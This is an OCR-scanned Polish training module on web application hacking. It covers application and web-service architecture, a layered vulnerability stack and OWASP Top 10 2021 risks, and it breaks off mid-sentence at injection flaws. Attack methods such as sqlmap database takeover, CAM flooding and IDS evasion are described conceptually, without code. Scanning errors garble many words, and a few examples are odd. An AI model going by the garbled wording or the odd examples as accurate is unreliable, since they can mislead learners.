Hakowanie aplikacji internetowych
Cele ksztatcenia

Ewolucja Internetu i technologii sieciowych w pofaczeniu z szybko rosngca facznoscig internetowg
doprowadzita do powstania nowego krajobrazu biznesowego. Aplikacje internetowe s3 integralng
czescig firm internetowych. Kazdy, kto ma pofaczenie z Internetem, korzysta z réinych aplikacji
internetowych do rdéznych celéw, w tym do zakupdéw online, poczty e-mail, czatéw i sieci
spotecznosciowych. Aplikacje internetowe stajg sie coraz bardziej podatne na bardziej wyrafinowane
zagrozenia i wektory atakéw. W tym module zapoznasz sie z réznymi aplikacjami internetowymi i
wektorami atakéw sieciowych oraz sposobami ochrony przed nimi zasobéw informacyjnych
organizacji. Opisuje ogdélng metodologie hakowania aplikacji internetowych, ktérej wiekszos¢
atakujgcych uzywa do wykorzystania docelowego systemu. Etyczni hakerzy moga wykorzystac te
metodologie do oceny bezpieczenstwa swojej organizacji przed atakami na aplikacje internetowe. Ten
modut zapozna Cie réwniez z interfejsem API sieci Web, elementami webhook i koncepcjami powtoki
sieciowej, a takze hakowaniem. Ponadto oméwiono kilka narzedzi przydatnych na réznych etapach
oceny bezpieczenstwa aplikacji internetowych.

Koncepcje aplikacji internetowych

W tej sekcji opisano podstawowe koncepcje zwigzane z aplikacjami internetowymi w odniesieniu do
kwestii bezpieczeristwa — ich komponentdéw, sposobu dziatania, architektury i tak dalej. Ponadto
zapewnia wglad w ustugi sieciowe i stosy luk w zabezpieczeniach.

Wprowadzenie do aplikacji internetowych

Aplikacje internetowe to programy, ktére dziatajag w przegladarkach internetowych i dziatajg jako
interfejs miedzy uzytkownikami a serwerami internetowymi za posrednictwem stron internetowych.
Umozliwiajg uzytkownikom zadanie, przesytanie i pobieranie danych do/z bazy danych przez Internet
poprzez interakcje za posrednictwem przyjaznego dla uzytkownika graficznego interfejsu uzytkownika
(GUI). Uzytkownicy mogg wprowadzaé dane za pomocg klawiatury, myszy lub interfejsu dotykowego,
w zaleznosci od urzadzenia, ktérego uzywajg do uzyskiwania dostepu do aplikacji internetowej. W
oparciu o obstugiwane przez przegladarki jezyki programowania, takie jak JavaScript, HTML i CSS,
aplikacje internetowe dziatajg w potgczeniu z innymi jezykami programowania, takimi jak SQL, w celu
uzyskania dostepu do danych z baz danych. Aplikacje internetowe sg tworzone jako dynamiczne strony
internetowe i umozliwiajg uzytkownikom komunikacje z serwerami za pomocg skryptéw po stronie
serwera. Pozwalajg uzytkownikom wykonywac okreslone zadania, takie jak wyszukiwanie, wysytanie
wiadomosci e-mail, taczenie sie ze znajomymi, zakupy online oraz $ledzenie i $ledzenie. Ponadto
istnieje kilka aplikacji komputerowych, ktdre zapewniajg uzytkownikom elastycznosé¢ pracy z
Internetem. Podmioty opracowujg rdézne aplikacje internetowe, aby oferowa¢ swoje ustugi
uzytkownikom za posrednictwem Internetu. Zawsze, gdy uzytkownicy potrzebujg dostepu do takich
ustug, moga o nie poprosi¢, przesytajgc Uniform Resource ldentifier (URI) lub Uniform Resource
Locator (URL) aplikacji internetowej w przegladarce. Przegladarka przekazuje to zgdanie do serwera,
ktory przechowuje dane aplikacji internetowej i wyswietla je w przeglgdarce. Niektére popularne
serwery internetowe to Microsoft IS, Apache http Server, H20, LiteSpeed, Cherokee itp. Rosngce
wykorzystanie Internetu i rozwijajgce sie firmy internetowe przyspieszyty rozwdj i wszechobecnosc
aplikacji internetowych na catym swiecie. Kluczowym czynnikiem przy wdrazaniu aplikacji
internetowych do celdw biznesowych jest mnogos¢ funkcji, ktére oferujg. Ponadto sg bezpieczne i
stosunkowo tatwe w rozwoju. Ponadto oferujg lepsze ustugi niz wiele aplikacji komputerowych i sg
tatwe w instalacji, konserwacji i aktualizacji.



Ponizej wymieniono zalety aplikacji internetowych:

* Poniewaz sg one niezalezne od systemu operacyjnego, ich rozwdj i rozwigzywanie problemoéw s3
tatwe i ekonomiczne.

* Sg dostepne zawsze i wszedzie za pomocg komputera z potgczeniem internetowym.

Interfejs uzytkownika mozna dostosowac, co utatwia aktualizacje. Uzytkownicy majg do nich dostep z
dowolnego urzadzenia posiadajgcego przegladarke internetowg, w tym palmtopdw, smartfondw itp.
Dedykowane serwery, monitorowane i zarzgdzane przez doswiadczonych administratorow serweroéw,
przechowujg wszystkie dane aplikacji webowych, pozwalajgc programistom na zwiekszenie ich
wydajnosci. Wiele lokalizacji serwerdw nie tylko zwieksza bezpieczenstwo fizyczne, ale takze zmniejsza
obcigzenie zwigzane z monitorowaniem tysiecy komputeréw stacjonarnych korzystajacych z
programu. Wykorzystujg elastyczne podstawowe technologie, takie jak JSP, Servlets, Active Server
Pages, SQL Server, .NET i jezyki skryptowe, ktére sg skalowalne i obstugujg nawet platformy przenosne.
Chociaz aplikacje internetowe egzekwujg okreslone zasady bezpieczenstwa, sg one podatne na rézne
ataki, takie jak iniekcja SQL, skrypty krzyzowe i przechwytywanie sesji. Jak dziatajg aplikacje
internetowe

Gtéwnga funkcjg aplikacji internetowych jest pobieranie zgdanych przez uzytkownika danych z bazy
danych. Gdy uzytkownik kliknie lub wprowadzi adres URL w przegladarce, aplikacja internetowa
natychmiast wyswietli zgdang zawartos¢ witryny w przegladarce.

Mechanizm ten obejmuje nastepujace kroki:

Najpierw uzytkownik wpisuje w przeglagdarce nazwe strony internetowej lub adres URL. Nastepnie
zadanie uzytkownika jest wysytane do serwera WWW.,

Po otrzymaniu zadania serwer WWW sprawdza rozszerzenie pliku:

o Jesli uzytkownik zgda prostej strony internetowej z rozszerzeniem HTM lub HTML, serwer WWW
przetwarza zgdanie i przesyta plik do przegladarki uzytkownika.

o Jedli uzytkownik zazada strony internetowej z rozszerzeniem, ktére musi zostaé przetworzone po
stronie serwera, na przyktad php, asp i cfm, serwer aplikacji internetowej musi przetworzy¢ zgdanie.

o W zwigzku z tym serwer WWW przekazuje zgdanie uzytkownika do serwera aplikacji WWW, ktdry
przetwarza zadanie uzytkownika.

o Nastepnie serwer aplikacji WWW uzyskuje dostep do bazy danych w celu wykonania zgdanego
zadania poprzez aktualizacje lub pobranie przechowywanych w niej informacji.

o Po przetworzeniu zgdania serwer aplikacji internetowej ostatecznie wysyta wyniki do serwera WWW,
ktory z kolei przesyta wyniki do przegladarki uzytkownika.

Architektura aplikacji internetowych

Aplikacje internetowe dziatajg w przegladarkach internetowych i wykorzystujg zestaw skryptéow po
stronie serwera (Java, C#, Ruby, PHP itp.) oraz skryptédw po stronie klienta (HTML, JavaScript itp.) do
wykonania aplikacji. Dziatanie aplikacji internetowej zalezy od jej architektury, na ktérg sktada sie
sprzet i oprogramowanie realizujgce zadania, takie jak odczytanie zgdania oraz wyszukiwanie,
gromadzenie i wyswietlanie wymaganych danych. Architektura aplikacji internetowych obejmuje
rdzne urzadzenia, przegladarki internetowe i zewnetrzne ustugi internetowe, ktére dziatajg z réznymi
jezykami skryptowymi w celu wykonania aplikacji internetowej. Sktada sie z trzech warstw:



1. Warstwa klienta lub prezentacji
2. Warstwa logiki biznesowej
3. Warstwa bazy danych

Warstwa klienta lub prezentacji obejmuje wszystkie fizyczne urzadzenia obecne po stronie klienta,
takie jak laptopy, smartfony i komputery. Urzadzenia te wyposazone sg w systemy operacyjne i
kompatybilne przegladarki, ktére umozliwiajg uzytkownikom wysytanie zgdan dotyczacych
wymaganych aplikacji internetowych. Uzytkownik zgda strony internetowej, wprowadzajac adres URL
w przegladarce, a zagdanie trafia do serwera WWW. Nastepnie serwer sieciowy odpowiada na zgdanie
i pobiera zgdane dane; aplikacja ostatecznie wyswietla te odpowiedz w przegladarce w postaci strony
internetowej. Sama warstwa ,logiki biznesowej” sktada sie z dwdch warstw: warstwy logiki serwera
WWW i warstwy logiki biznesowej. Warstwa logiki serwera WWW zawiera rézne komponenty, takie
jak zapora ogniowa, parser zgdan HTTP, serwer proxy buforujacy, modut obstugi uwierzytelniania i
logowania, modut obstugi zasobéw oraz komponent sprzetowy, np. serwer. Zapora zapewnia
bezpieczenstwo tresci, parser zagdan HTTP obstuguje zgdania przychodzgce od klientéw i przekazuje im
odpowiedzi, a modut obstugi zasobdéw jest w stanie obstuzy¢ wiele zadan jednoczesnie. Warstwa
logiczna serwera WWW zawiera kod, ktdry odczytuje dane z przegladarki i zwraca wyniki (np. serwer
WWW IS, serwer WWW Apache). Warstwa logiki biznesowej obejmuje logike funkcjonalng aplikacji
internetowej, ktéra jest realizowana przy uzyciu technologii takich jak .NET, Java i ,middleware”.
Definiuje przeptyw danych, wedtug ktérego programista buduje aplikacje przy uzyciu jezykéw
programowania. Przechowuje dane aplikacji i integruje starsze aplikacje z najnowszg funkcjonalnoscia
aplikacji. Serwer potrzebuje okreslonego protokotu, aby uzyska¢ dostep do zgdanych przez
uzytkownika danych ze swojej bazy danych. Ta warstwa zawiera oprogramowanie i definiuje kroki
wyszukiwania i pobierania danych. Warstwa bazy danych sktada sie z ustug w chmurze, warstwy B2B,
ktéra przechowuje wszystkie transakcje handlowe, oraz serwera bazy danych, ktéry dostarcza
organizacji dane produkcyjne w ustrukturyzowanej formie (np. MS SQL Server, serwer MySQL).

Ustugi internetowe

Ustuga internetowa to aplikacja lub oprogramowanie wdrazane przez Internet. Wykorzystuje
standardowy protokdt przesytania wiadomosci (taki jak SOAP), aby umozliwi¢ komunikacje miedzy
aplikacjami opracowanymi na réznych platformach. Na przyktad ustugi oparte na Javie mogg wchodzi¢
w interakcje z aplikacjami PHP. Te aplikacje internetowe sg zintegrowane z protokotami SOAP, UDDI,
WSDL i REST w catej sieci.

Architektura ustug sieciowych

Architektura ustugi sieciowej opisuje interakcje miedzy dostawcg ustug, requesterem ustug i rejestrem
ustug. Te interakcje sktadajg sie z trzech operacji, a mianowicie publikowania, znajdowania i wigzania.
Wszystkie te role i operacje wspodtpracujg ze sobg nad artefaktami ustug sieciowych, znanymi jako
moduty oprogramowania (ustugi) i ich opisami. Dostawcy ustug oferujg ustugi sieciowe. Wdrazajg i
publikujg opisy ustug ustugi internetowej w rejestrze ustug. Wnioskodawcy znajdujg te opisy w
rejestrze ustug i uzywajq ich do powigzania z dostawcg ustug internetowych i wywotania implementacji
ustugi internetowej. Istniejg trzy role w ustudze internetowej:

Dostawca ustug: Jest to platforma, z ktérej Swiadczone s3 ustugi.

Service Requester: Jest to aplikacja lub klient, ktéry szuka ustugi lub prébuje nawigzaé¢ komunikacje z
ustugy. Ogdlnie rzecz biorgc, przegladarka jest requesterem, ktéry wywotuje ustuge w imieniu
uzytkownika.



Rejestr ustug: Jest to miejsce, w ktérym dostawca taduje opisy ustug. Zadacz ustug wykrywa ustuge i
pobiera dane powigzan z opisdw ustug.

Istniejg trzy operacje w architekturze ustugi sieciowej:

Publikuj: Podczas tej operacji publikowane sg opisy ustug, aby umozliwi¢ wnioskodawcy wykrycie
ustug.

Znajdz: Podczas tej operacji zgdajacy prébuje uzyskad opisy ustug. Ta operacja moze by¢ przetwarzana
w dwodch réznych fazach: uzyskiwanie opisu interfejsu ustugi w czasie programowania oraz uzyskiwanie
wywotan opisu powigzania i lokalizacji w czasie wykonywania.

Powigzanie: podczas tej operacji requester wywotuje i nawigzuje komunikacje z ustugami w czasie
wykonywania, uzywajac danych powigzania zawartych w opisach ustug w celu zlokalizowania i
wywoftania ustug. Istniejg dwa artefakty w architekturze ustugi sieciowej:

Ustuga: Jest to modut oprogramowania oferowany przez ustugodawce przez Internet. Komunikuje sie
z wnioskodawcami. Czasami moze réwniez stuzy¢ jako requester, powotujac sie na inne ustugi w swojej
implementacji.

Opis ustugi: Zawiera szczegdtowe informacje o interfejsie i szczegdty implementacji ustugi. Sktada sie
ze wszystkich operacji, lokalizacji sieciowych, szczegétdw powigzan, typéw danych itp. Moze by¢
przechowywany w rejestrze i wywotywany przez requestera.

Charakterystyka ustug sieciowych

Oparte na XML: Ustugi sieciowe uzywajg XML do reprezentacji i transportu danych. Uzycie XML
pozwala unikng¢ powigzania systemu operacyjnego, sieci lub platformy. Aplikacje udostepniajgce
ustugi sieciowe sg w duzym stopniu interoperacyjne.

Ustuga gruboziarnista: w ustugach internetowych niektére obiekty zawierajg ogromne ilosci informacji
i oferujg wiekszg funkcjonalnos¢ niz ustugi szczegétowe. Ustuga gruboziarnista to potgczenie wielu
ustug drobnoziarnistych.

Luzne powigzanie: Ustugi sieciowe obstugujg podejscie luzno powigzane w przypadku wzajemnych
potfaczen. Interakcja miedzy systemami moze odbywac sie za posrednictwem internetowego interfejsu
API| poprzez wysytanie komunikatéw XML. Internetowy interfejs APl zawiera warstwe abstrakcji dla
infrastruktury, dzieki czemu pofaczenie jest elastyczne i mozna je dostosowywac.

Obstuga asynchroniczna i synchroniczna: ustugi synchroniczne s3 wywotywane przez uzytkownikéw,
ktérzy czekajg na odpowiedz, podczas gdy ustugi asynchroniczne sg wywotywane przez uzytkownikow,
ktdrzy nie czekajg na odpowiedz. Komunikaty oparte na RPC i komunikaty oparte na dokumentach sg
czesto uzywane w synchronicznych i asynchronicznych ustugach sieci Web. Synchroniczne i
asynchroniczne punkty koricowe sg implementowane przy uzyciu serwletow, SOAP/XML i HTTP.

Obstuga RPC: Ustugi sieciowe obstugujg zdalne wywotania procedur (RPC) podobnie jak tradycyjne
aplikacje.

Rodzaje ustug sieciowych
Ustugi sieciowe sg dwojakiego rodzaju:

ustugi sieciowe SOAP



Protokot Simple Object Access Protocol (SOAP) definiuje format XML. XML stuzy do przesytania danych
miedzy ustugodawcy a zgdajgcym. Okresla rowniez procedure budowania serwiséw internetowych
oraz umozliwia wymiane danych pomiedzy réznymi jezykami programowania.

RESTful ustugi sieciowe

Ustugi sieciowe REpresentational State Transfer (RESTful) majg na celu zwiekszenie produktywnosci
ustug. Uzywajg wielu podstawowych koncepcji HTTP do definiowania ustug. Jest to podejscie
architektoniczne, a nie protokot taki jak SOAP.

Komponenty architektury ustug sieciowych:

UDDI: Universal Description, Discovery, and Integration (UDDI) to ustuga katalogowa zawierajgca liste
wszystkich dostepnych ustug.

WSDL: Web Services Description Language to oparty na XML jezyk opisujacy i $ledzacy ustugi sieciowe.

WS-Security: Web Services Security (WS-Security) odgrywa wazing role w zabezpieczaniu ustug
internetowych. Jest rozszerzeniem SOAP i ma na celu zachowanie integralnosci i poufnosci
komunikatéw SOAP, a takze uwierzytelnianie uzytkownikéw.

Istniejg inne wazne funkcje/komponenty architektury ustugi sieciowej, takie jak procesy WSWork, WS-
Policy i WS Security Policy, ktére odgrywajg wazng role w komunikacji miedzy aplikacjami.

Stos luk w zabezpieczeniach

Utrzymuje sie i uzyskuje dostep do aplikacji internetowych na réznych poziomach, ktére obejmujg
niestandardowe aplikacje internetowe, komponenty innych firm, bazy danych, serwery internetowe,
systemy operacyjne, sieci i zabezpieczenia. Wszystkie mechanizmy lub ustugi zastosowane w kazdej
warstwie umozliwiaja uzytkownikowi bezpieczny dostep do aplikacji internetowej. Rozwazajgc
aplikacje internetowe, organizacja uwaza bezpieczenstwo za kluczowy element, poniewaz aplikacje
internetowe sg gtownymi zrédtami atakdw. Stos luk w zabezpieczeniach pokazuje rézne warstwy i
odpowiadajgce im elementy/mechanizmy/ustugi, ktére sprawiaja, ze aplikacje internetowe sg podatne
na ataki.

Atakujgcy wykorzystujg luki jednego lub wiecej elementow sposréd siedmiu poziomdw, aby uzyskac
nieograniczony dostep do aplikacji lub catej sieci.

Warstwa 7

Jesli atakujgcy znajdzie luki w logice biznesowej (zaimplementowanej przy uzyciu jezykéw takich jak
.NET i Java), mozie je wykorzysta¢, przeprowadzajgc ataki sprawdzajgce poprawnos$¢ danych
wejsciowych, takie jak XSS.

Warstwa 6

Komponenty stron trzecich to ustugi, ktdre integrujg sie z witryng internetowag w celu osiggniecia
okreslonej funkcjonalnosci (np. Amazon.com, na ktory atakuje osoba atakujaca, to gtéwna witryna
internetowa; citrix.com to witryna internetowa innej firmy). Gdy klienci wybierajg produkt do kupienia,
klikajg przycisk Kup/Zaptaé. To przekierowuje ich do ich konta w bankowosci internetowe] za
posrednictwem bramki ptatniczej. Witryny innych firm, takie jak citrix.com, oferujg takie bramki
ptatnosci. Atakujgcy mogg wykorzystaé takie przekierowanie i uzy¢ go jako medium/séciezki do wejscia
na Amazon.com i wykorzystania go.

Warstwa 5



Serwery sieciowe to programy obstugujace strony internetowe. Gdy uzytkownicy uzyskujg dostep do
witryny internetowej, wysytajg zadanie adresu URL do serwera sieciowego. Serwer analizuje to zgdanie
i odpowiada strong internetowg, ktéra pojawia sie w przegladarce. Atakujacy mogg wykonac sledzenie
na serwerze internetowym, na ktdrym znajduje sie docelowa witryna internetowa, i przechwycic
banery zawierajgce informacje, takie jak nazwa serwera internetowego i jego wersja. Mogg réwniez
korzystaé¢ z narzedzi takich jak Nmap do zbierania takich informacji. Nastepnie mogg rozpoczgc
wyszukiwanie opublikowanych luk w zabezpieczeniach w bazie danych CVE dla tego konkretnego
serwera WWW lub numeru wersji ustugi i wykorzysta¢ wszystko, co znajda.

Warstwa 4

Bazy danych przechowujg poufne informacje o uzytkownikach, takie jak identyfikatory uzytkownikow,
hasta, numery telefondw i inne dane szczegdétowe. W bazie danych docelowej witryny moga
wystepowac luki w zabezpieczeniach. Luki te mogg zosta¢ wykorzystane przez osoby atakujgce za
pomocy narzedzi takich jak sglmap w celu przejecia kontroli nad bazg danych celu.

Warstwa 3

Atakujacy skanujg system operacyjny, aby znalez¢ otwarte porty i luki w zabezpieczeniach, a nastepnie
opracowujg wirusy/tylne drzwi, aby je wykorzystaé. Wysytajg zto$liwe oprogramowanie przez otwarte
porty do maszyny docelowej; uruchamiajac takie ztosliwe oprogramowanie, mogg skompromitowac
maszyne i przejgé nad nig kontrole. Pézniej préobujg uzyskaé dostep do baz danych docelowej witryny.

Warstwa 2

Routery/przetgczniki kierujg ruch sieciowy tylko do okreslonych maszyn. Atakujacy zalewajg te
przetaczniki licznymi zagdaniami, ktére wyczerpuja tablice CAM, powodujac, ze zachowuje sie ona jak
koncentrator. Nastepnie skupiajg sie na docelowe] witrynie, wachajac dane (w sieci), ktére mogg
obejmowacd dane uwierzytelniajgce lub inne dane osobowe.

Warstwa 1

IDS i IPS alarmujg, jesli jakis szkodliwy ruch dostanie sie do docelowej maszyny lub serwera. Atakujacy
stosujg techniki unikania, aby obejs$¢ takie systemy, tak aby nie wywota¢ zadnego alarmu podczas
wykorzystywania celu.

Zagrozenia aplikacji internetowych

Atakujgcy podejmujg réine ataki na poziomie aplikacji, aby naruszyé bezpieczenstwo aplikacji
internetowych w celu popetnienia oszustwa lub kradziezy poufnych informacji. W tej sekcji oméwiono
rézne rodzaje zagrozen i atakow na luki w zabezpieczeniach aplikacji internetowych.

OWASP Top 10 zagrozen bezpieczenstwa aplikacji — 2021 r

OWASP to miedzynarodowa organizacja, ktéra prowadzi liste 10 najwiekszych luk i wad aplikacji
internetowych. Najnowsze 10 najwiekszych zagrozen bezpieczenstwa aplikacji OWASP sg nastepujace.

A01- Zepsuta kontrola dostepu

Luka ta jest zwigzana z niewtfasciwie egzekwowanymi ograniczeniami dziatann uwierzytelnionych
uzytkownikéw. Atakujgcy moga wykorzystac te luki, aby uzyskaé dostep do nieautoryzowanych funkcji
i/lub danych, takich jak dostep do kont innych uzytkownikéw, przegladanie poufnych plikéw,
modyfikacje innych danych uzytkownika i zmiany praw dostepu.

A02 - Awarie kryptograficzne



Wiele aplikacji internetowych i interfejsow API nie chroni odpowiednio poufnych danych, takich jak
dane finansowe, dane dotyczace opieki zdrowotnej i informacje umozliwiajgce identyfikacje osdb (PII).
Ponadto wielu twdorcow aplikacji nie wdraza silnych kluczy kryptograficznych, uzywa starych kluczy lub
nie egzekwuje wtasciwego zarzadzania kluczami. W takich przypadkach wrazliwe dane mogg by¢
przesytane czystym tekstem przez HTTP. Atakujagcy moga wykorzysta¢ te luke do kradziezy lub
modyfikacji takich stabo chronionych danych w celu dokonania oszustwa zwigzanego z kartami
kredytowymi, kradziezy tozsamosci lub innych przestepstw. Wrazliwe dane wymagaja dodatkowej
ochrony, takiej jak szyfrowanie w stanie spoczynku lub podczas przesytania, a takze specjalnych
Srodkow ostroznosci podczas wymiany z przegladarka.

A03- Wtrysk

Wady wstrzykiwania, takie jak wstrzykiwanie polecenn SQL i wstrzykiwanie LDAP, wystepuja, gdy
niezaufane dane sg wysytane do interpretera jako czes$¢ polecenia lub zapytania. Wrogie dane
atakujgcego mogg sktoni¢ ttumacza do wykonania niezamierzonych polecen lub uzyskania dostepu do
danych bez odpowiedniej autoryzacji.

A04 - Niepewny projekt

Podczas tworzenia aplikacji, jesli srodki bezpieczenstwa nie zostang prawidtowo wdrozone, biorac pod
uwage najnowsze zagrozenia biznesowe, mogg wystapic rézne wady projektowe. Te wady projektowe
mogg zagrozi¢ integralnosci, poufnosci i autentycznosci danych. Atakujgcy mogg wykorzystaé te luki
do przechwycenia sesji, kradziezy danych uwierzytelniajgcych, fatszowania i innych typéw atakéw
MUM.

AO05 - Btedna konfiguracja zabezpieczen

Btedna konfiguracja zabezpieczen jest najczestszym problemem zwigzanym z bezpieczenstwem sieci,
co czesSciowo wynika z konfiguracji recznej lub ad hoc (lub braku konfiguracji); niezabezpieczone
konfiguracje domysine; otwarte wiadra S3; Zle skonfigurowane nagtéwki HTTP; komunikaty o btedach
zawierajgce poufne informacje; oraz brak poprawek lub aktualizacji systemdéw, ram, zaleznosci i
komponentéw w odpowiednim czasie (lub w ogéle).

Wiele starszych lub Zle skonfigurowanych procesoréw XML ocenia odwotania do jednostek
zewnetrznych w dokumentach XML. Podmioty zewnetrzne mogg ujawniac¢ pliki wewnetrzne za
pomocg modutu obstugi URI pliku, wewnetrznych udziatéw plikéw SMB na serwerach z systemem
Windows bez poprawek, wewnetrznego skanowania portéw, zdalnego wykonywania kodu lub atakéw
DoS, takich jak atak miliarda $miechu.

A06 - Wrazliwe i przestarzate komponenty

Komponenty, takie jak biblioteki, frameworki i inne moduty oprogramowania, dziatajg z takimi samymi
uprawnieniami jak aplikacja. Komponenty oprogramowania muszg by¢ aktualizowane lub fatane w
odpowiednim czasie w oparciu o biezgce zagrozenia, w przeciwnym razie mogg pozostawié¢ powazne
luki w zabezpieczeniach, gdy stang sie przestarzate. Atak wykorzystujgcy podatny na ataki komponent
moze spowodowac¢ powazng utrate danych lub przejecie serwera. Aplikacje i interfejsy API
wykorzystujgce komponenty ze znanymi lukami w zabezpieczeniach mogg ostabiaé obrone aplikacji i
umozliwiac rézne ataki i wptywy.

A07 - Btedy identyfikacji i uwierzytelniania

Funkcje aplikacji zwigzane z identyfikacjg, uwierzytelnianiem i zarzadzaniem sesjami sg czesto
implementowane nieprawidtowo, co umozliwia atakujgcym przeprowadzanie brutalnego wymuszania,



rozpylania haset i innych zautomatyzowanych atakéw w celu przejecia haset, kluczy lub tokenow sesji
lub wykorzystania innych wad implementacji w celu przejecia tozsamosci innych uzytkownikéw
(tymczasowo lub na state).

AO08 - Awarie oprogramowania i integralnosci danych

Wiele aplikacji jest zaimplementowanych z funkcjami automatycznej aktualizacji. Takie aplikacje moga
pobieraé¢ aktualizacje z nieautoryzowanych lub wczesniej zaufanych Zrédet bez przeprowadzania
wystarczajgcych kontroli integralnosci. Atakujacy moga wykorzystaé te luke i zatadowaé wtasne
aktualizacje w celu dystrybucji ztosliwego oprogramowania. Co wiecej, jesli dane sg kodowane lub
serializowane w tatwo zrozumiatym formacie, osoby atakujgce mogg zmienia¢ dane, co prowadzi do
niezabezpieczonej luki deserializacji.

AQ9 - Awarie rejestrowania i monitorowania zabezpieczen

Btedy rejestrowania i monitorowania zabezpieczen wynikajg z niewystarczajgcego monitorowania
dziennikow, lokalnego przechowywania dziennikéw, nieodpowiednich komunikatow o btedach,
nieodpowiednich mechanizmdéw ostrzegania o nieudanych prébach logowania lub aplikacji, ktore nie
potrafig z wyprzedzeniem zidentyfikowac zagrozen. Takie luki w zabezpieczeniach moga spowodowac
wyciek poufnych informacji, ktére atakujgcy moga wykorzystac do naruszenia bezpieczeristwa systemu
lub konta, manipulowania danymi uwierzytelniajgcymi lub zniszczenia danych.

A10 - Fatszowanie zgdan po stronie serwera (SSRF)

Server-Side Request Forgery (SSRF) to luka w zabezpieczeniach sieci, ktéra pojawia sie, gdy aplikacja
uzyskuje zdalne zasoby bez weryfikacji adresu URL wprowadzonego przez uzytkownika. Atakujgcy
wykorzystujg te luke do naduzywania funkcji serwera w celu odczytywania lub modyfikowania
zasobdéw wewnetrznych oraz kradziezy poufnych informacji poprzez wysytanie ztosliwych zgdan. Luki
SSRF umozliwiajg réwniez atakujgcym wysytanie ztosliwych zadan do systemdéw wewnetrznych, nawet
jesli sy one zabezpieczone zaporami ogniowymi.

A01 - Uszkodzona kontrola dostepu

Kontrola dostepu odnosi sie do tego, w jaki sposéb aplikacja internetowa przyznaje dostep do
tworzenia, aktualizowania i usuwania dowolnego rekordu/zawartosci lub funkcji niektérym
uprzywilejowanym uzytkownikom, jednoczesnie ograniczajgc dostep do innych uzytkownikow.
Uszkodzona kontrola dostepu to metoda, za pomoca ktdrej atakujacy identyfikuje luke zwigzang z
kontrolg dostepu, omija uwierzytelnianie, a nastepnie wtamuje sie do sieci. Stabosci kontroli dostepu
sg powszechne ze wzgledu na brak zautomatyzowanego wykrywania i skutecznych testéw
funkcjonalnych przez twércéw aplikacji. Pozwalajg atakujgcym dziata¢ jako uzytkownicy lub
administratorzy z uprzywilejowanymi funkcjami i tworzy¢, uzyskiwac dostep, aktualizowac lub usuwac
dowolne rekordy. Zgodnie z wersjag OWASP 2021 R3, typowe luki zwigzane z kontrolg dostepu s3
nastepujace:

Naduzywanie najmniejszych uprawnien lub ich domysinie odmawianie, gdzie wszyscy uzyskujg dostep
do rdl, uzytkownikéw lub umiejetnosci zamiast miec okreslong dostepnosc.

Unikanie filtrowania kontroli dostepu poprzez zmiane adresu URL, zadania interfejsu API, strony HTML
lub stanu aplikacji za pomocg manipulowania parametrami, wymuszania przegladania lub dowolnego
narzedzia atakujgcego.

Uzyskanie pozwolenia na odczyt lub modyfikacje czyjegos konta za pomocy jego unikalnego
identyfikatora.



Uzyskiwanie dostepu do interfejséw APl bez kontroli dostepu dla PUT, POST i DELETE.
Eskalacja uprawnien, gdzie uzytkownik moze petnic role administratora po zalogowaniu.

Manipulowanie metadanymi; na przyktad manipulowanie ukrytym polem lub zmiana tokena kontroli
dostepu JSON Web Token (JWT) lub pliku cookie w celu wykorzystania uniewaznienia JWT lub
podniesienia uprawnien.

Dostep do interfejsu API za posrednictwem nielegalnych Zrédet wykorzystujgcych btedng konfiguracje
udostepniania zasobdw miedzy zrédtami (CORS).

Wymus przegladanie uprzywilejowanych lub autentycznych stron odpowiednio jako wazny lub
nieprawidtowy uzytkownik.

AO02 - Awarie kryptograficzne/narazenie wrazliwych danych

Aplikacje internetowe muszg przechowywac poufne informacje, takie jak hasta, numery kart
kredytowych, rekordy kont i inne informacje uwierzytelniajgce w bazie danych lub systemie plikow.
Jesli uzytkownicy nie beda odpowiednio zabezpieczaé swoich miejsc przechowywania, aplikacja moze
by¢ zagrozona, poniewaz osoby atakujgce mogag uzyska¢ dostep do magazynu i niewtasciwie
wykorzystaé informacje. Wiele aplikacji internetowych nie chroni odpowiednio swoich poufnych
danych przed nieautoryzowanymi uzytkownikami. Aplikacje internetowe uzywajgq algorytmoéw
kryptograficznych do szyfrowania danych i innych poufnych informacji, ktére muszg przesyta¢ z
serwera do klienta lub odwrotnie. Narazenie wrazliwych danych ma miejsce z powodu wad, takich jak
niezabezpieczone przechowywanie kryptograficzne i wyciek informacji. Chociaz dane sg szyfrowane,
niektére metody szyfrowania kryptograficznego majg nieodfgczne stabosci, ktére umozliwiajg
atakujgcym wykorzystanie i kradziez danych. Gdy aplikacja uzywa zle napisanego kodu szyfrujgcego do
szyfrowania i przechowywania poufnych danych w bazie danych, osoba atakujagca moze tatwo
wykorzystaé te luke do kradziezy lub modyfikacji stabo chronionych poufnych danych, takich jak
numery kart kredytowych, numery SSN i inne dane uwierzytelniajgce. W ten sposdéb moga
przeprowadzac dalsze ataki, takie jak kradziez tozsamosci i oszustwa zwigzane z kartami kredytowymi.
Deweloperzy moga unikngc takich atakow za pomoca algorytmow do szyfrowania wrazliwych danych.
Jednoczesnie programisci muszg podjgc srodki ostroznosci w celu bezpiecznego przechowywania
kluczy kryptograficznych. Jesli te klucze sg przechowywane w niezabezpieczonych lokalizacjach, osoby
atakujgce mogg je tatwo odzyskac i odszyfrowaé poufne dane. Niezabezpieczone przechowywanie
kluczy, certyfikatow i haset umozliwia réwniez atakujgcemu uzyskanie dostepu do aplikacji
internetowej jako legalnego uzytkownika. Ponadto programisci muszg sprawdzi¢ losowos$é wektoréow
inicjujacych (IV) uzywanych w algorytmach szyfrowania. Deweloperzy powinni upewni¢ sie, ze IV nie
sg ponownie wykorzystywane i ze sg generowane przy uzyciu bezpiecznych trybdw szyfrowania.
Ponadto programisci muszg unikac uzywania przestarzatych funkc;ji skrétu, takich jak MD5 i SHA-1, oraz
przestarzatych metod wypetniania, takich jak PKCS 1/1.5. Awarie kryptograficzne mogg spowodowacé
powazne straty dla firmy. Dlatego organizacje muszg chronié wszystkie swoje zasoby, takie jak systemy
lub inne zasoby sieciowe, przed wyciekiem informacji, stosujgc odpowiednie mechanizmy filtrowania
tresci. Ponadto organizacje powinny zapewnic, ze komunikaty o btedach kryptograficznych i informacje
z kanatu bocznego nie pozostawiajg zadnych wskazéwek do wykorzystania. Ponizsze zrzuty ekranu
przedstawiajg odpowiednio stabo zaszyfrowany, podatny na ataki kod i bezpieczny kod, ktéry jest
prawidtowo zaszyfrowany przy uzyciu bezpiecznego algorytmu kryptograficznego.

A03 - Wady wtrysku



Wady iniekcji to luki w zabezpieczeniach aplikacji internetowych, ktére umozliwiajg interpretacje
